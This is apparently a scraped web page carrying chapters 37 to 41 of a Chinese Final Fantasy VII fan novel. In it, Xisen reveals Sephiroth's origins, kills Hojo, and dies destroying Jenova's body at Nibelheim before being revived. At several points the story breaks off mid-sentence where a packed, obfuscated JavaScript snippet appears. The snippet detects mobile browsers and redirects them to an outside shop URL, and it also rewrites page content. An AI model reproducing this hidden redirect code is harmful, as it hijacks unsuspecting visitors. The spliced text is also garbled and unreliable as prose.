l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13055472|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染的血迹,像是感觉到了什么一般回过头。 “……希森?” 银发的特种兵走上前。他好像不太希望她看到这些血腥的景象,高大的身形恰到好处地挡住了全部视线。 “总裁死了。”她说,“萨菲罗斯,我们回家吧。” 萨菲罗斯抬起手,似乎想要触碰她的脸颊,但又在看到黑色皮革上沾染的血迹后又无声地放下。希森直接拉起他的手,不顾周围诧异的目光径直离开神罗大厦。能够命令萨菲罗斯的人要么已经死了,要么早已离开,没有人敢上前阻拦他们,即便是试图开口的人在对上那双碧绿的竖瞳后也会明智地选择闭嘴。 她知道现在不是说出身世真相的好时机,但这种事情还是越早说清楚越好,萨菲罗斯本身就有知情的权利。而且由她主动开口告诉对方,和以后他自己发现完全是两回事。 银发的特种兵关上门,神色平静:“总部没有派人跟过来,你想说什么都不用担心。” 尽管已经在心中演练了无数次,但真正开口的时候还是很艰难。希森顿了顿,递给他一张照片:“萨菲罗斯,你知道这个人吗?” 碧绿的竖瞳骤然扩散,她从对方的神色里得到了答案。14岁的萨菲罗斯曾经拿着一张照片,四处询问其他人是否见过自己的母亲,尝试抓住那虚无缥缈的希望,而这一切都在宝条的要求下被当年的塔克斯们记录下来。 “她叫露克蕾西亚,是你的亲生母亲,也是S计划的参与者。”希森把所有真相毫无隐瞒地告诉他,无论是神罗的实验计划亦或是杰诺瓦的真实身份,“在你出生之后,她后悔了,试图将你从宝条手里抢回来,可惜没能成功。她无法面对自己的罪行,最终选择用魔石把自己封印起来。” 平板无机质的冷光映在萨菲罗斯瓷器一般的肌肤上,他如同一座完美无瑕的雕塑般凝固在原地,看似冷静的脸上无法读出任何情绪。他既没有发怒,也没有回应,安静而又沉默地看完当年的所有资料,纤长的睫毛洒下一片阴影,遮去了眼底的神色。 他看起来很平静。但萨菲罗斯表达情绪的方式和普通人完全不一样,表面越是平静,反而越是愤怒。 令人不安的沉默逐渐蔓延,屏幕的玻璃因他逐渐收紧的力度出现细微的裂痕。这点细微的变动似乎终于唤醒了银发的特种兵,他很轻地笑了一声,似是讽刺,似是自嘲。 “我还是……人类吗?” 希森说不出安慰的话,她没有切身经历过对方的痛苦,没有资格劝他原谅或者改变什么。萨菲罗斯的一生都在被神罗献祭,父母抛弃了他,把他作为实验品;挚友抛弃了他,从神罗叛逃;当他失去利用价值后,总部也会毫不犹豫地抛弃他。从来没有人把他当成一个真正的人来对待。 “萨菲罗斯,无论你是谁,”她唯一能做的,只是抬起手,捧住萨菲罗斯的脸,让他看着自己的眼睛,“我都爱你。” 萨菲罗斯专注地看着她,又好像不是在看她,他的呼吸很轻,却比平日稍显急促,如同暴雨来临前的风。他在悬崖边缘徘徊着,仅差一步就会坠入深渊。 他好像想对她说什么,但是悬崖边缘的风太大,吞没了还未说出口的话语。 38.第 38 章 自从得知自己的身世以后,萨菲罗斯就没有再离开过公寓,他不断地查阅关于杰诺瓦和宇宙的文献,这几天里几乎没怎么合过眼。只有希森拉着他回到卧室的时候,他才会安静地抱着她休息,表面看起来是在睡觉,实际上稍有动静便会立刻察觉。 这段时间里发生了很多事情,路法斯的继任并非一帆风顺,高层间的内斗层出不穷,但这位年轻的新总裁果断而强势地对神罗进行了一场换血,在曾的协助下飞快稳固根基。扎克斯回来后晋升为1st,总部似乎有把他培养为下一任指挥官的趋势。 不过这一切都对他们没有什么影响——或者说萨菲罗斯根本不在乎。不管是对于神罗的动乱还是好友的现况,他的反应都非常平淡,好像外界的一切已经和他没有太大关系。 绝大部分的时间里,希森都能感受到萨菲罗斯的目光,每每回过头就能对上那双碧绿的竖瞳。他经常这样安静而专注地看着她,或是在她做其他事情时悄无声息地出现在身边,像是在确认她还在这里。 “萨菲罗斯,怎么了?” “没什么。”银发的特种兵收回目光。 他以前就有类似的习惯,像捕食的猫一样,喜欢跟在身后看着她,只不过现在这种情况更明显了。但如果去问的话,他又什么都不会说。 于是希森换了一个问题:“离开神罗之后,你想去哪里?” 萨菲罗斯沉默了许久,像是在思考,又像是在出神。他看着窗外连绵的雨,声音很轻:“……那具杰诺瓦的尸体。” “你想找到它?” “毕竟是宝条口中的‘母亲’。”他弯起唇角,眼底却没有任何笑意,“我必须亲眼看看那是什么。” 连续失联了七天的神罗将军终于出现,塔克斯的表情就像见了鬼一样。其中一个金色短发的新人甚至不小心打翻了手里的咖啡,被雷诺赶紧拉了回去。 曾调查到宝条最后出现的地方是尼布尔海姆,他从山顶的魔晄炉回来后便进入了地下的公馆,之后再也没有离开过。根据露克蕾西亚留下的记录,杰诺瓦的尸体很有可能就存放在魔晄炉的实验设施中。萨菲罗斯会以执行任务的名义前往尼布尔海姆,调查魔晄炉内部的异常;而她先去地下公馆解决掉宝条,再上山顶和对方汇合。 英雄萨菲罗斯是神罗最有价值的产品,也是最强大的军事武器,总部绝对不可能轻易放任他离开,唯一获得自由的方法只有死亡。因此他们将会在这次任务中因事故殉职,用路法斯提供的身份彻底摆脱神罗的控制,开始全新的生活。 至于那具杰诺瓦的尸体,她和萨菲罗斯一致认为这种东西不能再落入神罗手里,如果无法带走就彻底毁掉。希森在出发前特意给曾留下了定时邮件,防止他们在任务途中发生意外,波及到无辜的村民。 特种兵的队伍已经先一步出发,从这里出发到魔晄炉大概要半天的路程。希森不想在宝条身上浪费太多时间,很快便在公馆内找到了地下的入口,这里已经被改造成为一座巨大的实验室,到处都是被巨型魔晶矿封存起来的变异体。那些扭曲的怪物仿佛是由不同物种强行拼接出来的,背后都有着极为相似的如同单翼般的结构。 “啊,那些都是可悲的失败品。”宝条转过身,“神应该拥有令世人信服的美貌,而不是这副丑陋不堪的模样。” 希森扣下扳机,子弹精准地穿透了他的大脑,身穿白大褂的佝偻身影在惯性的作用下后退一步,重重地倒在地板上。这么近的距离和这个口径的子弹足以把命中目标的头盖骨掀飞,然而宝条的眉心上只是多出来一个小小的洞,随后不紧不慢地从地上爬起来。 “啧啧,为什么要这么着急呢?”他低低地笑了起来,“你在害怕什么?” “我和尸体没什么好说的。” 她又朝对方的要害处连开几枪,然而他似乎感觉不到疼痛,也不会流血。宝条捡起地上碎裂的眼镜,不紧不慢地重新戴上:“你告诉那个孩子了吗?” 这个疯子大概给自己注射了杰诺瓦细胞,已经不算人类了。子弹没有效果,希森打了个响指,掌心燃起炽热的火焰。 “你告诉萨菲罗斯,你是来自另一个星球的人了吗?” 她的手顿了顿,火球打偏了,砸在宝条身后的控制台上。希森停下了脚步,有那么一瞬间,她以为自己出现了幻听。 “你在说什么?” “不如坐下来听我说个故事吧。”宝条脸上的笑容愈发明显,他似乎十分享受她的反应,“一个关于救世主和魔王的童话故事。” 希森冷冷地看着他,却发现自己无法从对方的脸上找到半点说谎的痕迹。心底的不安如蛛网般蔓延开来,她努力维持着表面的镇定。 “八年前,我在那具尸体身上发现了一些很有趣的东西……是一段被封印的记忆,一段不属于杰诺瓦,来自另一个星球的记忆。”宝条张开双手,向她展示周围那些畸形的实验品,“为了弄清楚这段记忆,我做了很多实验。” 她感到一阵反胃:“你把这些人变成怪物,只是为了让他们看一段记忆?” “尸体无法开口,所以我只能寻找活人,这对于他们来说是一种伟大的牺牲。”宝条不耐烦地挥了挥手,“能为科学献身是一种至高无上的荣耀。你不想知道我看到了什么吗?” 联想到他身上的异常,希森已经猜到这个疯子做了什么——他给自己也注射了杰诺瓦细胞。 宝条没有介意她的沉默,自顾自地往下说:“魔王带来了世界末日,被选中的救世主回到过去,阻止灾厄的到来——多么俗套的故事啊,是不是?没想到这种故事也会成为现实,星球把你送了回来,以为这样就能改变未来。” 距离陨石落下还有十二小时。 灾厄朝她微笑。 ——她穿越到这个星球是有原因的,但是她记不起来了。 指甲深深嵌入掌心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101109|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,希森的头开始隐隐作痛。如果宝条说的是真话,如果她的到来是为了阻止末日降临,为什么她的记忆会被封印在杰诺瓦的尸体中? “所以呢?”她听见自己的声音微微颤抖,“我会杀了你,然后毁掉杰诺瓦的尸体。” “你认为那具尸体能够摧毁一个星球?”宝条脸上浮现出一抹古怪的笑容,“不不不,那是神才能够拥有的力量,那个死去的东西不过是件工具。” “如果你指的是萨菲罗斯,”她冷笑道,“那么很遗憾,他早在一周前就知道了全部真相,不会成为你想要的神。” “啊,当然了,你以为我不知道你在做什么吗?我很早就说过了,我知道你在想什么。”宝条摇了摇头,“你认为自己是在拯救他,试图拯救神,多么愚蠢而傲慢的想法。” “我本来打算让他自己探寻身世的真相,走上正确的道路,但是你出现了——星球送来的救世主,像虫子一样烦人,围绕在他身边赶都赶不走。但是在解开杰诺瓦尸体上的那段记忆后,我意识到你才是关键,你是命运的转折点,萨菲罗斯成神的最后一步。” “……这么喜欢表演可以去剧院。”希森面无表情地看着他,“别对着我发疯。” “瞧瞧你,直到现在还不明白。”宝条不仅没有感到冒犯,反而更加愉悦了,“用你那颗聪明的脑子好好想想,为什么你会来到这个世界?” 她已经厌烦了宝条的问答游戏:“不好意思,我赶着去拯救世界,你还有遗言就快点交代。” “你觉得星球会在宇宙里随便挑一个人过来做救世主吗?还是你觉得你自己的情操高尚到能放弃自己的生活来救一个陌生的世界?” “你现在还活着就证明我情操确实很高尚——”希森下意识地想要反驳,却猛然顿住了。 不对,有什么地方不对,宝条没必要在这件事上骗她。所以到底还有什么原因导致她来到这里? 她在穿越前看到了银白的流星。 她在末日来临之前也看到了银白的流星。 那是同一颗流星,出现在同一个世界,她原本所在的那个世界。 宝条明明可以直接说出真相,但他十分享受这种看着对方陷入挣扎的乐趣:“人类的大脑具有自我保护的机制,会主动回避超出自身承受范围的事情。你从来没往这个方面想过,是不是?就和那个孩子一样。” 天幕破碎,大地崩坏,整个世界哀嚎着化为一片废墟。她在这个星球生活了八年,于是先入为主地认为她看见的末日是降临在这个世界上的,误以为这是星球给她的预言。 宝条歪了歪头:“终于想起来了吗,亲爱的。为什么不说话了?” 她在那些断壁残垣中看到了熟悉的标识和语言,不是神罗的标志,也不是米德加的通用语。星球的警示也不是预言,而是她被封印的记忆。 ——她原来的星球被毁灭了,而她亲眼目睹了世界末日。 39.第 39 章 杰诺瓦是以星球为食的生物,当彻底吞噬完一个世界后,它便会以星球的残骸为舟,去寻找下一个猎物。当灾厄降临到她的故乡时,米德加所在的这颗星球早就毁灭了。 强烈的不安弥漫开来,趁宝条说话的空隙,希森引爆了他身后的两个培养舱,用玻璃和金属碎片牵制住他后朝出口的方向跑去。然而就在她试图炸开门口的前一秒,一阵剧烈的疼痛席卷了她的大脑,让她近乎跪倒在地。 “你以为我会什么都没准备吗?”宝条的身体被一块巨大的玻璃贯穿,然而他像是感觉不到疼痛一样重新站起来,伤口的位置被大块畸形的血肉填满,声音也逐渐扭曲,“我知道你一定会来找我,所以我为你准备了一份礼物——这些带有杰诺瓦力量的封印魔晶矿显然对你非常有效,对不对?” 希森艰难地站起身,打开通讯器试图联系萨菲罗斯,却发现这里没有任何信号。宝条拖着逐渐膨胀和异变的身躯向她靠近:“不要白费力气了,这里是被魔石隔绝出来的空间,我专门为你打造的牢笼。” 她忽然笑了起来:“所以你和那个老东西之前就是在策划这个?为了针对我一个人?” “啊,那个对科学一无所知的家伙想要铲除神罗的威胁,我想要创造我的神,不过是各取所需。” 宝条现在已经不能称之为人了,只是一团蠕动的扭曲的肉,剩下头顶的发声组织还在一张一合。希森侧身闪过对方的攻击,附魔的刀刃瞬间斩断长满倒刺的触手,炽热的火焰延缓了杰诺瓦细胞的恢复速度。 “萨菲罗斯不会成为你想要的神。” “多么美妙的谎言。”宝条语气古怪,“你能来到这个星球,就已经证明我成功了,我最伟大的、完美的作品已经完成了他的使命。” 曾经是宝条的怪物臃肿而笨重,但却拥有强大的再生能力。封印魔石抑制了共鸣能力,希森身上的伤无法恢复,只会越来越多,但是她已经不在乎了,她的脑海中只剩下一个念头——那就是让宝条永远闭嘴。 斩断一根触手,再长出两根,那就再斩断两根,只要她比对方再生的速度快就足够了。腥臭的碎肉飞溅在她身上,已经分辨不出那到底是怪物的血还是她自己的血。 长剑刺入异变的心脏,炽热的火焰吞噬掉试图再生的细胞。希森听见一道冷静得像是不属于自己的声音:“你这么确定萨菲罗斯能解开杰诺瓦尸体上的记忆封印?连你自己都做不到。” “设下封印的人自然能重新解开。”他的语气就好像她问了什么愚蠢又可笑的问题,“对了,算算时间,那孩子应该已经到了,我给他留下了足够的指引。” 四周都是燃烧的火焰,但希森还是很冷,像是全身上下的每一个细胞都被冻结。 “所谓的爱,是大脑在多种激素和神经递质的相互作用下产生的特定反应。人类对这种生物反应加诸各种定义,认为这是由自由意志产生的情感,事实上这不过是因为他们无法违抗刻在基因中的本能。”哪怕身体已经支离破碎,宝条语气里的愉悦也并未因此减少半分,“神怎么会看得见蝼蚁,你以为他最初为什么会注意到你,爱吗?当然不是,你身上有他的封印,杰诺瓦的本能促使他靠近你,完成他的使命。” 周围的培养舱接连破碎,强行使用共鸣能力给她的身体造成了巨大的负荷。希森强行咽下喉头涌上来的腥甜,利用培养液凝成的冰柱将宝条钉在原地,一点一点剜去他试图再生的血肉。她从来没有这么恨一个人,连死亡对他来说都是一种仁慈。 “萨菲罗斯的人生不是你用来满足野心的工具,这根本就不是使命,而是人为。” 宝条的身体早已支离破碎,只剩下一颗看不清本来面目的头颅,他创造了无数失败的实验品,最终自己也成为了其中一员。然而他对自己的性命丝毫不在乎,反而近乎狂热地大笑起来:“你还不明白吗——你的到来就是萨菲罗斯转变为神的命定节点,你所做的一切不过是让已经发生的历史成为现实。” “让我猜猜,是你更痛苦一些,还是萨菲罗斯更痛苦呢?”在彻底被火焰吞噬之前,他笑着留下最后一句话,“看起来快要死的人不是我,而是你。” …… 这一次,她看到了灾厄的脸。 …… 宇宙很浩瀚。 这个世界并不是唯一的,她故乡所在的世界也不是。 宇宙诞生了无数条世界线,但它们并非都能一直存在下去。有些世界线会分离、崩坏,而后再结合,星球在此中延续。 在最初的世界线里,金发少年和他的挚友两次打败灾厄,成功拯救星球。然而在另一条世界线里,所有人都失败了,灾厄毁掉了每一条分支,吞噬生命之流的力量成为真正的神。在星球彻底崩坏的那一刻,赛特拉少女的灵魂在生命之流中发动神圣魔法,利用仅剩的力量召唤来自另一个世界的灵魂,去打破那只有无尽覆灭的轮回,改写注定毁灭的命运。 杰诺瓦之子继承了这种生物的意志和本能,在无尽的宇宙中寻找下一个猎物,最终降临于她所在的星球。银白的流星带着少女的祈愿拯救了最后一名幸存者,将她送回最初的世界线,阻止末日降临。 坠入时空裂缝之际,灾厄朝她微笑。 银发的身影展开漆黑的单翼,碧绿的竖瞳中流淌着美丽却致命的星河,如果这个世界上有神明,那么理应如此完美而强大。位于生物链顶端的捕食者锁定了目标,狩猎的蛇绞紧垂死的猎物,生物的本能促使她的每个细胞都在发出对天敌的预警,来自基因的恐惧渗入灵魂。 “初次见面的礼物,”那个拥有与萨菲罗斯完全一致的容貌,气质截然相反的灾厄向她伸出手,含着笑意的声音低沉悦耳,“送你绝望如何。” …… 好烫。 这是希森醒来后的第一个反应。 她记不清自己是怎么离开地下公馆的,强行破坏那些封印魔石耗费了不少时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127514|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分时间里她都处于失血过多引发的头晕中,看不太清眼前的事物。等她强撑着破损的身体回到地面时,这里已经被一片摇曳的鲜红吞没。 刺目的火光点亮夜幕,高温的热浪融化空气,整个尼布尔海姆村化作一片火海,宛如人间炼狱。一具具毫无生机的躯体倒在焦黑的废墟当中,出自纤长刀刃的致命伤口触目惊心,他们脸上的表情在死亡的那一瞬间永恒定格,像是无法理解对方为什么会犯下如此恶行。 重新恢复信号的手机弹出未接来电,尽管碎裂的屏幕已经被粘稠的血污覆盖,希森还是一眼认出了熟悉的名字。她被困在结界里的时候,萨菲罗斯曾经给她打过电话,响铃整整六十秒,一直等到系统自动挂断。 如果那个时候的她接通了电话,一切会有所改变吗? 但这个问题已经没有任何意义。萨菲罗斯做出了选择,眼前这场大火就是他的答案。 她行走在地狱边缘,穿越亡魂凝成的浓雾,拖着残破的身躯追随那道银白的身影。她知道萨菲罗斯会去哪里,他们的目标是一样的,一切始于那具杰诺瓦的尸体,也应该由那具杰诺瓦的尸体结束。 前往魔晄炉的道路比她想象中的要短,因为萨菲罗斯已经清除了所有障碍,无论是魔兽还是人。标注着“JENOVA”的实验室已经被人打开,希森叫住了试图冲上阶梯的黑发少女。 “你这么做不仅救不了你的父亲,还会把你自己搭进去。” 少女猛然回过头,红宝石般的眼眸中溢出愤怒的泪水,“你懂什么!都是因为你们——都是因为萨菲罗斯——爸爸才会——” 希森伸出手,递给她一颗绿色的治疗系魔晶石:“用这个可以救你的爸爸。” “我讨厌神罗,你们这群骗子!”她这副浑身是血的模样大概有些可怕,少女谨慎地后退一步,“我不需要你们的帮助!” “那就当成我个人的请求吧,请收下它,去救你的父亲和其他需要的人。”她用近乎恳求地语气说,“拜托了。” 黑发少女迟疑了片刻,最终还是接过她手中的魔石,飞快地跑到地上昏迷的人影身旁。希森没有再回头,平静地走进设施深处。酷似人类女性的尸体在尽头的培养舱中长眠,背后由血管与骨肉构成的巨大组织宛如一只单翼。 银发黑衣的身影将手贴在冰冷的培养舱上,似乎想要隔着透明的屏障抚摸沉睡的女尸,玻璃上倒映出的神色是从未有过的温柔与渴望。半垂的睫毛如同纤长而又浓密的鸦羽,遮去眼底将近病态的眷恋。 “母亲,”他的语气很温柔,却令人不寒而栗,“我来带你回家。” “萨菲罗斯。” 银发的特种兵转过身,那是她无比熟悉的容貌,与她相伴度过无数个黄昏与黎明,每一寸轮廓都深深刻进记忆当中。那双碧绿的竖瞳宛如狩猎的银鳞蛇般美丽而致命,他像是在看着她,又不只是在看着她。 “抱歉,我来晚了。”她说。 40.第 40 章 她总是来晚一步,比自己的记忆晚了一步,比杰诺瓦晚了一步,比宝条晚了一步,最终什么也没能拯救。 “啊,我一直在找你。”萨菲罗斯弯起唇角,轻而柔的话语宛如冰冷的蛇信拂过耳畔,“找了很久,直到母亲指引我们相遇。” 那天萨菲罗斯从雪崩的袭击中救下她,神圣魔法遗留的力量在遇见天敌的那一刻觉醒。 “在实验室里。” 她把出逃的杰诺瓦实验体送回科学部门,遇到了正在浸泡魔晄的萨菲罗斯。 “在军事基地。” 她被魔晄池里的杰诺瓦实验体偷袭,也因此暴露了共鸣能力。 “——在尼布尔海姆村,我想带你来见母亲。” 希森想要说些什么,但又不知道如何开口。整座设施寂静无声,可她像是行走在悬崖边缘,狂风呼啸着吞没了未能说出口的话语。 萨菲罗斯没有在意她的沉默,伸手轻柔地捧起她的脸,如同热恋时的无数个夜晚般亲昵地贴上她的额头。冰冷的皮革手套仿佛毒蛇的银鳞攀上温热的肌肤缓缓滑行,激起一阵来自本能的战栗。 “你是命定的钥匙,未来的我送来的礼物。”他几乎是贴着她的唇角开口,“属于我的,伴侣。” 存放杰诺瓦的容器传来一生碎裂的轻响,杰诺瓦脸上那张空洞的金属面具坠入浅蓝色的溶液中,露出女尸毫无生机的脸。在她心底的某个角落,有什么东西也随之碎裂开来,再也没有半分修复的可能。 宝条说得没错,试图拯救神是很傲慢的想法。 她以为自己可以阻止萨菲罗斯坠入悬崖,其实他早已开始坠落,自己不过是他下坠途中遇到的一个意外,或许可以延缓坠落的速度,却无法阻止他坠入深渊。在无数条世界线里,没有她的萨菲罗斯都走上了相同的道路。即便拥有选择的机会,他还是给出了相同的答案,亲手把过去的自己推进了这片被烈火吞噬的地狱。 英雄萨菲罗斯是他,灾厄萨菲罗斯也是他,萨菲罗斯从来都不需要任何人拯救。 所以萨菲罗斯要送她绝望,让她亲眼看着自己促成想要改变的未来,星球为了阻止灾厄降临把她送回过去,而正是她的存在最终导致灾厄降临。她和萨菲罗斯奔跑在莫比乌斯之环两端,如今于尼布尔海姆的命运节点中彻底闭合,形成完美而又无解的循环。 她一直以来的愿望就是萨菲罗斯能够真正自由,成为他自己。现在这个愿望实现了,代价是她爱着的那个人彻底疯掉,随尼布尔海姆的火海一同死去。 “萨菲罗斯,”希森艰难地找回了自己的声音,“你知道我是来阻止你的。” “哦?”萨菲罗斯漫不经心地侧了侧头,指尖从脸颊滑至颈侧,像是对恋人的爱抚,也像是对猎物的警告,“那不过是星球强行加诸于你的负担,等我和母亲夺回生命之流的力量,你就不必再为此担忧。” “那么我的星球呢?” “那只是命运的一环。”银鳞的蛇衔住尾部,头尾相连,形成一个完美的闭环。 其实她还有很多问题,还有很多话想对他说。不过从这一刻开始都没有必要,也没有意义了。 希森后退一步,挣脱了他的双手。萨菲罗斯没有阻止,因为他也不需要阻止,将近两米的特种兵将她困在自己和杰诺瓦之间,截断了所有退路,只不过是暂时让出些许空间罢了。 抱歉,爱丽丝。她在心中说,希望那对金色的耳钉能把她的呼唤带到赛特拉少女身边。我失败了,没能改变任何事情,和你的约定也没办法实现了。 但是还有一件事她可以做到,也是她必须要做到的。 “萨菲罗斯,你知道的,我爱你。”希森张开手,朝他绽开一个灿烂的微笑,“但是这还不够。” 在银发1st凝滞的那一瞬间,所有魔晶石的力量在同一时间骤然爆发,绮丽的光宛如一场华丽的烟火在昏暗的设施中绽放,比他们跨年夜时在神罗大厦顶楼看到的更耀眼,更震撼。爆炸的轰鸣声刺破耳膜,杰诺瓦的尸体化为一场血腥而吊诡的大雨,整个世界都在热浪中开始扭曲与弯折。 “你送我的见面礼,我收到了。” 和她身上有白魔石的魔力一样,未来的萨菲罗斯也把黑魔石部分的魔力封印在杰诺瓦的尸体当中。他们之间的力量差距太大,她根本不可能杀死对方,所以她只需要阻止萨菲罗斯在这个时间点拿到黑魔石,让这条世界线回到最初的轨迹就可以了。 这是她唯一能做的事情,为金发的少年和他的挚友们、为她自己的星球争取哪怕是一分飘渺的希望。 然后像个拯救世界的英雄一样牺牲,结束这个可悲的循环。 萨菲罗斯选择了他想要的道路,她也选择了她认可的道路。她做了她认为该做的事情,弥补她犯下的错和辜负的人,她爱上了最不应该爱上的人,这就是她要付出的代价。 宝条是个疯子,也是个天才,在她自己都不清楚共鸣能力本质的时候,他就已经研制出了克制这种力量的方法。其实在强行打碎结界之后,这具身体就感觉不到疼痛了,所以她也不知道自己为什么要流泪,明明一点都不痛。又或许那只不过是血而已,并不是泪水。 坍塌的天花板忽然开始旋转,因为身体已经失去知觉,所以她过了好一会儿才发现自己原来是被人抱起来了。抱着她的人很小心,把绝大部分力气都用在克制自己的力度上,似乎她随时随地会碎裂开来。 碧绿的竖瞳中倒映出一具支离破碎的躯体,有什么东西滴落在她脸侧。她第一次在萨菲罗斯脸上看到这种神色,哪怕是在得知真相的时候也没有过——就好像那个快要死掉的人不是自己,而是他。 “……别担心,”萨菲罗斯低头吻去她的泪水,像是在对她说,又像是在对自己说,“你不会死的。” 她想对他说没办法了,她的身体早已不堪重负,身上的唯一一颗治疗魔石也已经送了出去,更何况这种程度的伤根本没有任何力量能够挽回。但是她的喉咙里全是碎肉和血,一开口就倒灌回去,堵住她的所有声音。 可是萨菲罗斯疯了,疯的很彻底。病态的眷恋自碧绿的眼底蔓延,他轻柔地将她放在身后的平台上,语气冷静得诡异,“杰诺瓦细胞的再生能力可以——” 他的声音戛然而止,因为希森手里的魔晶石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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传说人死的时候,一生的经历会像走马灯一样回放。希森看到的是她和萨菲罗斯在前来尼布尔海姆之前,最后一次去到米德加郊外的那片废墟,躺在柔软的野百合中看漫天飞舞的点点星辰。触手可及的星河点亮黑夜,如同他们拥有无尽可能性的美好未来。 她说以后想找一个有很多萤火虫的地方定居,萨菲罗斯笑着说好。她说想要一间两层的小房子,像电影里那种漂亮的别墅,有花园和很大的书房,萨菲罗斯也笑着说好。她说到时候要和萨菲罗斯在翩飞的萤火虫中跳一支舞,银发的特种兵看起来有些惊讶,毕竟舞蹈对他来说大概是个很陌生的词。 哦,对了,萨菲罗斯是不是不会跳舞,她笑吟吟地问,特种兵好像没有这门课程呢。 萨菲罗斯没有回答这个问题。他只是再一次笑着说好,只要是你的愿望,我都会实现。 她猜他不会跳舞,不过对于拥有极强学习能力和模仿能力的1st来说,任何事情只要看过一次就能完美复刻。 早知道她当时就直接拉着萨菲罗斯完成这个心愿了。就算不会跳舞也没关系,其实她自己也不会,以前和曾在宴会执行任务时不小心把对方踩到工伤,之后他再也没有给她安排过类似的任务。她只是单纯地想和只属于她一个人的英雄跳一支舞,像所有故事里美满的结局一样。 好可惜,她的英雄不会回来了,那支舞也无法实现了。不过好在她还是看到了萤火虫,闪烁的光点缓缓浮上天空,汇聚成一道温暖又柔和的绿色光河,她的身体变得好轻,没入生命之流,朝无尽而未知的方向流淌。 至少她是个英雄,对吧? 41.第 41 章 星命学家认为,生命之流是这颗星球上生命的来源,分为意识灵魂和能源两个部分。星球上的生物死亡后□□和灵魂回归生命之流,下一个生命的诞生也会从生命之河中取出相应的灵魂部分和能源部分,对应生物的思维与躯体,由此构成生命的循环不衰。 希森希望自己可以成为四季——初春新生的芽,盛夏绽放的花,深秋自由的风和隆冬纷飞的雪,一年又一年,循环往复,永远陪伴在所有人身边。在她的故乡里,人的姓氏排在名字的前面,她的父母为她起名季节,希望她像四季一样自由而热烈。 她顺着碧绿的光河流淌,死亡并不疼,只在一瞬间,她感觉自己只是睡了很长又很短的一觉。她的记忆和躯体本应该在生命之流中拆解,融合再重组,成为全新的生命,然而当她再一次睁开眼睛时,她还是她自己,仿佛一只飘荡在长河中的孤舟,如同外来者一般格格不入。 然后她听到了星球的声音。 【你的归宿并不在此刻,也不在此地。】 “可是我已经死了。”她坐了起来——如果她还有身体的话,“萨菲罗斯也没有提前拿到黑魔石。” 【杰诺瓦之子并未失败,这个星球正在死去。】 “有克劳德他们在,”她躺了回去,“这种事情交给主角就好了。” 【世界线发生了偏离,他们需要你。】 “……不。”她坐了起来,又躺了回去,“我累了。” 她不仅在魔晄炉里对萨菲罗斯贴脸开大,还炸了他的妈妈,依照他疯掉后的性格肯定会用正宗把她串成莲藕。死亡的经历有一次就够了,当救世主实在是太累了。 星球短暂地沉默了片刻。 【灾厄已经侵蚀了生命之流,杰诺瓦之子正在找你,这里无法给你想要的安宁。】 诡异的黑雾宛如狩猎的蛇,又似蔓延的病毒般飞快地蚕食着生命之流,追寻她的方向而来。即便隔着遥远的距离,也能清晰感受到那令人战栗的压迫感和侵略性。 “这么重要的事情你怎么不早说!”希森直接进行一个仰卧起坐,“我要怎么回去?” “黄花就是路标哦。”少女熟悉的声音响起,“金百合的话语是重逢,无论有多少岔路,我们都会再次相遇。” 光河两畔绽开金色的百合花,自她脚底向前方蔓延,好似绿幕上的金色星海。 “爱丽丝!”她跟随着金色的百合花向前跑,“可是我失败了,萨菲罗斯选择了杰诺瓦。” “不是的,你已经做到了哦。”爱丽丝的声音里带着明媚又俏皮的笑意,就像每次拉着她的手去看什么漂亮新奇的风景时一样,“有很多人在等你回来,不管发生什么,我们都要一直在一起。” 黑紫色的雾气对她穷追不舍,如同生命投下的阴影,吞噬所过之处的一切。希森追寻着金色的花朵,不断向前奔跑,一直到光河的尽头那片柔软而芬芳的海洋。 像从天而降的小狗一样,她坠入了爱丽丝的金百合花坛。 阴鸷的蛇与她仅差一寸,在失去意识之前,希森再一次听到了来自捕食者的声音。病态而又眷恋,仿佛甜蜜的毒汁,贴着柔软的耳廓滴落,温柔得令人毛骨悚然。 “……我的。”那道声音说,“我马上,就来找你。” …… 没有想象中的疼痛,也没有鲜血和烧焦的气息,她像是睡了很长的一觉后自然地苏醒。映入眼帘的是绮丽而剔透的色彩,过了好一会儿她才意识到那些是天然的治疗系魔晶矿,她正身处一个巨大的矿洞里。蓬勃的生命之流从地底喷涌而出,星球把她送回现实世界,也彻底修复了这具本该支离破碎的身体。 可是她已经死在尼布尔海姆的魔晄炉里,那种程度的爆炸和大火本该什么都不剩了才对,除非有人把她的身体带走了。希森困惑地支起身子,一颗冰凉的紫色的晶体随着她的动作从掌心滑落——这是她曾经为杰内西斯寻找的封印魔石,当时仅存的共有两颗,其中一颗用来救安吉尔,而另一颗被用在她身上。 她沿着流淌的光河走进矿洞深处,在尽头的地下河前方看到了一抹熟悉的赤红。星球的力量治愈了杰诺瓦细胞带来的劣化,漆黑的单翼在绿色的光河中消解,红发青年如同他们初见那样张扬而瞩目。 